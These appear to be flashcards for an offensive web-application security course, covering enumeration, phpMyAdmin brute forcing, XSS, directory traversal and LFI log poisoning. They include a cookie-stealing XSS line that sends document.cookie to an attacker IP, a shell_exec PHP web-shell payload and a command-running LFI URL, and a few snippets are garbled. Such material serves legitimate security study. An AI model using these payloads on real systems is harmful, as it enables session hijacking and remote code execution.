Web Application Attacks Flashcards
What is the first thing you should do before launching an attack on a web server?
Discover the technology stack in use:
- Programming language and frameworks
- Web server software
- Database software
- Server operating system
What are common web site enumeration steps?
- Inspect URLs: file extensions reveal programming language, such as .php, .jsp, .do, .html
- Inspect Page Content: debugger tools may display JavaScript frameworks, hidden input fields, comments, client-side controls within HTML, JavaScript
- View Response Headers: in Firefox the Network tab of the Web Developer menu
- Inspecting Site Maps: robots.txt, sitemap.xml; use curl to get
- Locate Administrator Consoles
How would you use ‘curl’ to get robots.txt for google.com?
curl https://www.google.com/robots.txt
What is the open source web server scanner?
Nikto
How would you run Nikto against megacorpone.com for 30 seconds?
nikto -host=http://www.megacorpone.com -maxtime=30s
How can you use Intruder to brute force a phpMyAdmin login page if there is a unique ‘set_session’ value and a ‘token’ value required for each login?
- In Positions Tab: select phypMyAdmin, set_session, password, and token values
- Select “Pitchfork” as the attack type
- Options Tab > Grep Extract > Add: define ‘grep’ extraction to begin after _session” value=” and end at “ />Log (this will grab the ‘set_session’ string)
- Add another Grep Extract: start grep extraction after en” value=” and end at “ />\n\n (this will grab the token value)
- Payloads Tab: for Payload set 1 is for the phpMyAdmin session cookie; set Payload Type to “Recursive Grep” and select the first Recursive Grep option set above
- Payloads Tab: Payload set 2 is for “set_session”; it needs to match the value of the “phpMyAdmin cookie”, so it is the same value as option 1
- Payloads Tab: Payload set 3 is for “password” and use a simple list of passwords
- Payloads Tab: Payload set 4 is for the token value; use the 2nd “Recursive Grep” option
What would be your next action to take after successfully logging into phpMyAdmin console?
Run database SQL queries against user table to find credentials
What allows XSS to take place?
Web application allowing unsanitized data, thereby allowing attackers to inject and potentially execute malicious code.
Stored XSS
- aka Persistent XSS
- occurs when the exploit payload stored in a database or otherwise cached by a server
- the web application then retrieves this payload and displays it to anyone that views a vulnerable page
- a single stored XSS can therefore attack anyone that visits the page
Reflected XSS
- usually include the payload in a crafted request or link
- the web application takes this value and places it into the page content
- this variant only attacks the person submitting the request or viewing the link
- often occur in search fields and results, as well as anywhere user input is included in error messages
URL Encoding
- sometimes referred to as percent encoding
- used to convert non-ASCII characters in URLs
- Example: converting ‘space’ to %20
HTML Encoding
- used to display characters that normally have special meaning, like tag elements
- Example: <, is the character reference for “
What is a simple way to see if a web page is sanitizing data, or not?
- if there is a comment posting page, like for a blog post, you can enter ‘hello “ ; < > ‘ and see if the characters are posted as they are
- If the characters are posted as is, and not HTML encoded, the site does not sanitize user input
What is a stealthy alternative to a XSS redirect?
- inject an invisible iframe into our XSS payload
- this will embed the file “report” into the HTML file
- once this payload has been submitted, any user that visits the page will connect back to our attack machine
What are the two Cookie flags that are of most interest to an attacker?
- Secure
- HttpOnly
What does the Secure flag in a Cookie do?
- instructs the browser to only send the cookie over encrypted connections, such as HTTPS
- this protects the Cookie from being sent in cleartext and captured over the network
What does the HttpOnly flag in a Cookie do?
- instructs the browser to deny JavaScript access to the cookie
- if the HttpOnly flag is NOT set, we can use an XSS payload to steal the cookie
How can the capture a victim’s PHPSESSID cookie?
- We can use JavaScript to read the value of the cookie and append it to an image URL that links back to our attack machine.
- The browser will read the image tag and send a GET request to our attack system with the victim’s cookie as part of the URL query string.
- To implement our cookie stealer, we need to modify our XSS payload as follows:
- new Image().src=”http://10.11.0.4/cool.jpg?output= “+document.cookie;
- When a victim visits the page with the application with this embedded script, their browser makes a connection to the 10.11.0.4 attacking machine and we receive:
- GET /cool.jpg?output=PHPSESSID=ua19spm8i3t1l9acl9m2tfi76 HTTP/1.1
- We can then use Cookie-Editor in Firefox to add the stolen cookie
Directory Traversal Vulnerabilities
- aka Path Traversal
- allow attackers to gain unauthorized access to files within an application or files normally not accessible through a web interface, such as those outside of the web root directory
- occurs when input is poorly validated, granting an attacker the ability to manipulate file paths with “../” or “.." characters
If we see the end of a URL containing “/menu?file=current_menu.php”…how should we attack this for Directory Traversal Vulnerabilities?
- First, change the “file” value to something arbitrary like “file=old.php”
- If there is an error message with a full file path, then it is likely vulnerable
- Next, try file=c:\windows\system32\drivers\etc\hosts
What is a file inclusion vulnerability?
- allows an attacker to include a file into the application’s running code
- Local File Inclusion (LFI) occurs when the included file is loaded from the same web server
- Remote File Inclusion (RFI) occurs when the included file is loaded from an external source.
- This is typically found in PHP applications
In order to exploit a file inclusion vulnerability, we is required?
- ability to execute code
- ability to write our shell payload somewhere
How can you exploit LFI using Log Files?
- We can try to inject code onto the server through log file poisoning
- Most application servers will log all URLs that are requested
- We can take advantage of this by submitting a request that includes PHP code
- Once the request is logged, we can use the log file in our LFI payload.
Example LFI using Log File Poisoning?
- Start NC: nc -nv 10.11.0.22 80
- Send PHP Payload: echo ‘<pre>’ . shell_exec($_GET[‘cmd’]) . ‘</pre>;?>
* ** We get a 400 Bad Request error…but the request has been logged, so we can now do LFI Code Execution*** - Exploit LFI Vulnerability: http://10.11.0.22/menu.php?file=c:\xampp\apache\logs\access.log&cmd=ipconfig
* ** Once the URL is sent to the web server, the output will be the ‘access.log’ file and then ‘ipconfig’ executed